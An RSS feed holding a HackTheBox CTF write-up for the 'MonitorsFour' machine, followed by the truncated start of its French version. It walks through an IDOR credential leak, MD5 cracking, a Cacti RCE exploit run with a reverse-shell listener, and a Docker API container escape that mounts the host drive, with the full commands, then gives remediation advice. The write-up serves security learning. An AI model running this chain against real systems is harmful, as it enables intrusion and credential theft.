<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: WhyShell</title>
    <description>The latest articles on DEV Community by WhyShell (@whyshell).</description>
    <link>https://dev.to/whyshell</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3951209%2F5ab7f0de-8ad8-4118-aa6f-3779aae419d0.png</url>
      <title>DEV Community: WhyShell</title>
      <link>https://dev.to/whyshell</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/whyshell"/>
    <language>en</language>
    <item>
      <title>HTB — MonitorsFour | Writeup</title>
      <dc:creator>WhyShell</dc:creator>
      <pubDate>Mon, 25 May 2026 18:15:21 +0000</pubDate>
      <link>https://dev.to/whyshell/htb-monitorsfour-writeup-381k</link>
      <guid>https://dev.to/whyshell/htb-monitorsfour-writeup-381k</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-7b1"&gt;🇫🇷 Version française&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Platform&lt;/strong&gt;: HackTheBox | &lt;strong&gt;Difficulty&lt;/strong&gt;: Easy | &lt;strong&gt;OS&lt;/strong&gt;: Windows (Docker Desktop / WSL2)&lt;br&gt;
&lt;strong&gt;Machine:&lt;/strong&gt; &lt;a href="https://app.hackthebox.com/machines/MonitorsFour" rel="noopener noreferrer"&gt;HTB — MonitorsFour&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Chain&lt;/strong&gt;: IDOR → Hash cracking → Cacti RCE → Docker escape&lt;/p&gt;


&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;MonitorsFour is a Windows box that hides almost its entire attack surface behind a PHP web application and a containerized infrastructure. The path unfolds in four acts: a logic flaw in an API leaks credentials, those credentials grant access to a vulnerable monitoring service with an RCE, the resulting shell lands inside a Docker container, and the final escape leverages the Docker API exposed without authentication on the internal network.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP nginx&lt;/td&gt;
&lt;td&gt;Redirects to &lt;code&gt;monitorsfour.htb&lt;/code&gt; — virtual hosting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5985&lt;/td&gt;
&lt;td&gt;WinRM (Microsoft HTTPAPI)&lt;/td&gt;
&lt;td&gt;Windows shell access if valid creds&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt; The nginx + WinRM combination on a Windows box is a classic containerization signal. nginx typically runs on Linux — here it's inside a Docker Desktop container on the Windows host. Port 5985 is the actual Windows WinRM. This observation should have triggered suspicion immediately.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Subdomain discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/combined_subdomains.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.monitorsfour.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-ac&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-s&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;fuzz.txt
&lt;span class="c"&gt;# cacti&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" alt=" " width="402" height="357"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb cacti.monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why fuzz vhosts:&lt;/strong&gt; A single server can host multiple websites based on the HTTP &lt;code&gt;Host:&lt;/code&gt; header. Since the box already uses virtual hosting (the IP → domain redirect gives it away), there are likely other hidden sites behind the same IP. &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt; turns out to be the real entry point.&lt;/p&gt;

&lt;h3&gt;
  
  
  Endpoint enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb/FUZZ &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-e&lt;/span&gt; .php &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403 &lt;span class="nt"&gt;-ic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Route&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/login&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Login page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/forgot-password&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Password reset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;API endpoint — 35 bytes response&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/static&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;301&lt;/td&gt;
&lt;td&gt;Assets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/controllers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;403&lt;/td&gt;
&lt;td&gt;Source code not directly accessible&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Missing token parameter"}&lt;/span&gt;

curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=test"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Invalid or missing token"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. IDOR — Credential leak via token=0
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The flaw:&lt;/strong&gt; The &lt;code&gt;/user?token=&lt;/code&gt; endpoint validates a user identifier. The controller logic does (in pseudocode):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// valid token → one user&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_all_users&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;    &lt;span class="c1"&gt;// otherwise → ALL users&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The developer wrote &lt;code&gt;if ($token)&lt;/code&gt; instead of &lt;code&gt;if ($token !== null)&lt;/code&gt;. In PHP, the value &lt;code&gt;0&lt;/code&gt; is &lt;strong&gt;falsy&lt;/strong&gt; — &lt;code&gt;if(0)&lt;/code&gt; evaluates to false. Passing &lt;code&gt;token=0&lt;/code&gt; falls into the &lt;code&gt;else&lt;/code&gt; branch and returns the entire table.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is an IDOR&lt;/strong&gt; (&lt;em&gt;Insecure Direct Object Reference&lt;/em&gt;) combined with a falsy value logic flaw. Key takeaway: always test &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, empty string, &lt;code&gt;null&lt;/code&gt; on any identification parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=0"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Marcus Higgins"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mwatson"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"69196959c16b26ef00b77d82cf6eb169"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Michael Watson"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. MD5 Hash Cracking
&lt;/h2&gt;

&lt;p&gt;The hashes are &lt;strong&gt;unsalted MD5&lt;/strong&gt; — trivial to crack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On Mac with native Hashcat (M5 GPU via Metal)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hashes.txt
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 0 hashes.txt ~/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;56b32eb43e6f15395f6c46c1c9e1cd36&lt;/code&gt; → &lt;code&gt;wonderful1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why MD5 is dangerous:&lt;/strong&gt; Unsalted MD5 can be cracked in seconds on a modern GPU. Identical passwords always produce identical hashes, and rainbow tables cover most common passwords.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Cacti Access — CVE-2025-24367 (Authenticated RCE)
&lt;/h2&gt;

&lt;p&gt;Navigate to &lt;code&gt;http://cacti.monitorsfour.htb/cacti/&lt;/code&gt; — the version is displayed at the bottom: &lt;strong&gt;Cacti 1.2.28&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential subtlety:&lt;/strong&gt; The API username is &lt;code&gt;admin&lt;/code&gt;, but the full name is &lt;em&gt;Marcus Higgins&lt;/em&gt;. Cacti uses the first name as the login identifier → authenticate with &lt;code&gt;marcus&lt;/code&gt; / &lt;code&gt;wonderful1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-24367:&lt;/strong&gt; Cacti 1.2.28 is vulnerable to an authenticated RCE. The exploit abuses the graphs/templates feature to generate a PHP file in the webroot and then trigger it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# T1 — Listener&lt;/span&gt;
penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 9001

&lt;span class="c"&gt;# T4 — Exploit&lt;/span&gt;
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2025-24367-Cacti-PoC
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 exploit.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-url&lt;/span&gt; http://cacti.monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; marcus &lt;span class="nt"&gt;-p&lt;/span&gt; wonderful1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nv"&gt;$ME&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 9001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Shell obtained:&lt;/strong&gt; &lt;code&gt;www-data&lt;/code&gt; inside a Docker container.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" alt=" " width="630" height="346"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Post-exploitation — Inside the container
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;        &lt;span class="c"&gt;# uid=33(www-data)&lt;/span&gt;
&lt;span class="nb"&gt;hostname&lt;/span&gt;  &lt;span class="c"&gt;# 821fbd6a43fa  ← short hash = Docker container ID&lt;/span&gt;
ip addr   &lt;span class="c"&gt;# 172.18.0.3/16 on eth0&lt;/span&gt;
ip route  &lt;span class="c"&gt;# default via 172.18.0.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/marcus/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" alt=" " width="499" height="53"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Container Escape — CVE-2025-9074 (Unauthenticated Docker API)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Context:&lt;/strong&gt; Docker Desktop on Windows exposes its REST API on &lt;code&gt;192.168.65.7:2375&lt;/code&gt; without authentication. CVE-2025-9074 documents exactly this exposure: Linux containers can reach this endpoint and interact with the Windows host's Docker Engine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://192.168.65.7:2375/version
&lt;span class="c"&gt;# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Docker Desktop + WSL2, the &lt;code&gt;C:\&lt;/code&gt; Windows drive is exposed under &lt;code&gt;/mnt/host/c&lt;/code&gt;. We create a container that mounts this path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://192.168.65.7:2375/containers/create &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/response.json

&lt;span class="nv"&gt;cid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'"Id":"[^"]*"'&lt;/span&gt; /tmp/response.json | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://192.168.65.7:2375/containers/&lt;span class="nv"&gt;$cid&lt;/span&gt;/start
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://192.168.65.7:2375/containers/&lt;/span&gt;&lt;span class="nv"&gt;$cid&lt;/span&gt;&lt;span class="s2"&gt;/logs?stdout=true"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" alt=" " width="617" height="304"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root flag obtained.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IDOR token=0
    → MD5 hash leaked (admin / marcus)
        → Hashcat → wonderful1
            → Cacti login (marcus:wonderful1)
                → CVE-2025-24367 → RCE → www-data shell
                    → Docker container (172.18.0.3)
                        → Docker API 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🛡️ How to Fix These Vulnerabilities
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. IDOR + falsy logic on &lt;code&gt;/user?token=&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Replace &lt;code&gt;if ($token)&lt;/code&gt; with &lt;code&gt;if ($token !== null &amp;amp;&amp;amp; $token !== '')&lt;/code&gt;. Add mandatory authentication on all API endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Unsalted MD5 hashes
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Use &lt;code&gt;password_hash()&lt;/code&gt; in PHP (bcrypt by default) or Argon2id. Never store MD5/SHA1 for passwords.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Cacti 1.2.28 — CVE-2025-24367
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Update Cacti. Restrict access by IP. Apply the principle of least privilege.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Unauthenticated Docker API — CVE-2025-9074
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Disable "Expose daemon on tcp://localhost:2375 without TLS". If TCP is required → TLS + mutual certificates. Isolate containers on dedicated networks.&lt;/p&gt;




&lt;h2&gt;
  
  
  💡 Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Test falsy values&lt;/strong&gt; (&lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, &lt;code&gt;""&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;) on any identification parameter.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't give up on vhost fuzzing too early&lt;/strong&gt; — &lt;code&gt;cacti&lt;/code&gt; was the real attack surface.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read HTTP headers&lt;/strong&gt; — &lt;code&gt;X-Powered-By: PHP/8.3.27&lt;/code&gt; + &lt;code&gt;PHPSESSID&lt;/code&gt; reveal the tech stack from the very first curl.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;nginx on Windows = likely containerization&lt;/strong&gt; — TTL 127 + nginx = strong Docker Desktop signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unauthenticated Docker API = immediate root&lt;/strong&gt; — reaching port 2375 from a compromised container is game over.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;📺 Watch the video walkthrough: &lt;a href="https://youtube.com/@whyshell" rel="noopener noreferrer"&gt;YouTube WhyShell&lt;/a&gt;&lt;br&gt;
&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-7b1"&gt;🇫🇷 Version française&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>security</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HTB — MonitorsFour | Writeup Fr</title>
      <dc:creator>WhyShell</dc:creator>
      <pubDate>Mon, 25 May 2026 18:08:55 +0000</pubDate>
      <link>https://dev.to/whyshell/htb-monitorsfour-writeup-7b1</link>
      <guid>https://dev.to/whyshell/htb-monitorsfour-writeup-7b1</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-381k"&gt;🇬🇧 English version&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Plateforme&lt;/strong&gt; : HackTheBox | &lt;strong&gt;Difficulté&lt;/strong&gt; : Easy | &lt;strong&gt;OS&lt;/strong&gt; : Windows (Docker Desktop / WSL2)&lt;br&gt;
&lt;strong&gt;Machine :&lt;/strong&gt; &lt;a href="https://app.hackthebox.com/machines/MonitorsFour" rel="noopener noreferrer"&gt;HTB — MonitorsFour&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Chaîne&lt;/strong&gt; : IDOR → Hash cracking → Cacti RCE → Docker escape&lt;/p&gt;


&lt;h2&gt;
  
  
  🗺️ Vue d'ensemble
&lt;/h2&gt;

